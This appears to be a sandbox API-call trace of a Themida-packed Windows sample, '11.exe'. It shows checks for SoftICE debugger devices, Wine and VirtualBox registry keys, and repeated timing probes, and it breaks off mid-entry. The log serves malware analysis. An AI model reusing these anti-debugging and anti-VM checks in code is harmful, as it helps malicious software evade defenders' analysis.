# Flog Txt Version 1 # Analyzer Version: 3.0.1 # Analyzer Build Date: Apr 9 2019 11:17:16 # Log Creation Date: 11.04.2019 22:01:42.602 Process: id = "1" image_name = "11.exe" filename = "c:\\users\\fd1hvy\\desktop\\11.exe" page_root = "0x35d47000" os_pid = "0xb04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xd58 [0041.828] VirtualAlloc (lpAddress=0x0, dwSize=0xe14, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0041.828] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x1000, flProtect=0x4) returned 0x1c0000 [0041.829] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74b70000 [0046.452] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x761b0000 [0049.804] LoadLibraryA (lpLibFileName="NTDLL.dll") returned 0x77bb0000 [0049.804] GetLocalTime (in: lpSystemTime=0x625f3c | out: lpSystemTime=0x625f3c*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0x0, wMinute=0x2, wSecond=0x20, wMilliseconds=0x187)) [0049.827] CreateFileA (lpFileName="\\\\.\\SICE" (normalized: "sice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0049.832] CreateFileA (lpFileName="\\\\.\\SIWVID" (normalized: "siwvid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0049.838] CreateFileA (lpFileName="\\\\.\\NTICE" (normalized: "ntice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0049.841] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" " [0049.844] GetVersionExA (in: lpVersionInformation=0x634926*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x634926*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0049.844] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Wine", phkResult=0x634701 | out: phkResult=0x634701*=0x0) returned 0x2 [0049.844] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x634701 | out: phkResult=0x634701*=0x0) returned 0x2 [0049.845] GetProcAddress (hModule=0x75e90000, lpProcName="GetNativeSystemInfo") returned 0x75ea5130 [0049.845] GetNativeSystemInfo (in: lpSystemInfo=0x634901 | out: lpSystemInfo=0x634901*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0049.845] GetVersion () returned 0x23f00206 [0049.846] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x744c0000 [0050.909] GetProcAddress (hModule=0x744c0000, lpProcName="timeGetTime") returned 0x744c4370 [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.910] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x2289c [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.911] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.912] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.913] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.914] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.915] timeGetTime () returned 0x228ab [0050.916] timeGetTime () returned 0x228ab [0050.916] timeGetTime () returned 0x228ab [0050.916] timeGetTime () returned 0x228ab [0050.916] timeGetTime () returned 0x228ab [0051.052] timeGetTime () returned 0x22938 [0051.052] Sleep (dwMilliseconds=0x32) [0051.254] timeGetTime () returned 0x229f3 [0051.254] timeGetTime () returned 0x229f3 [0051.254] timeGetTime () returned 0x229f3 [0051.254] timeGetTime () returned 0x229f3 [0051.254] timeGetTime () returned 0x229f3 [0051.254] timeGetTime () returned 0x229f3 [0051.254] timeGetTime () returned 0x229f3 [0051.254] timeGetTime () returned 0x229f3 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.255] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.256] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.257] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.258] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.259] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.260] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.261] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.262] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.263] timeGetTime () returned 0x22a03 [0051.264] timeGetTime () returned 0x22a03 [0051.264] timeGetTime () returned 0x22a03 [0051.264] timeGetTime () returned 0x22a03 [0051.569] GetVersionExA (in: lpVersionInformation=0x644942*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x644942*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0051.569] GetSystemDirectoryA (in: lpBuffer=0x4b6135, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0051.569] CloseHandle (hObject=0x0) returned 0 [0051.569] CloseHandle (hObject=0x0) returned 0 [0051.569] CloseHandle (hObject=0x0) returned 0 [0051.573] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x128 [0051.574] CloseHandle (hObject=0x128) returned 1 [0051.574] OutputDebugStringA (lpOutputString="\r\n\n\n%s------------------------------------------------\n\r--- Themida Professional ---\n\r--- (c)2012 Oreans Technologies ---\n\r------------------------------------------------\r\n\n\n") [0051.658] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc, flAllocationType=0x1000, flProtect=0x4) returned 0x920000 [0051.659] GetCurrentProcessId () returned 0xb04 [0051.659] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77bb0000 [0051.659] GetProcAddress (hModule=0x77bb0000, lpProcName="NtOpenThread") returned 0x77c22f40 [0051.660] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x744c0000 [0051.660] GetProcAddress (hModule=0x744c0000, lpProcName="timeGetTime") returned 0x744c4370 [0051.660] timeGetTime () returned 0x22b91 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x12c [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x130 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x134 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x138 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x13c [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x140 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x144 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x148 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x14c [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x150 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x154 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x158 [0051.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x15c [0051.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x160 [0051.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x164 [0051.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x168 [0051.662] timeGetTime () returned 0x22b91 [0051.670] GetForegroundWindow () returned 0x20208 [0051.670] GetWindowTextA (in: hWnd=0x20208, lpString=0x67e69e, nMaxCount=100 | out: lpString="Guidance Inns Helpful") returned 21 [0051.675] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x688881 | out: 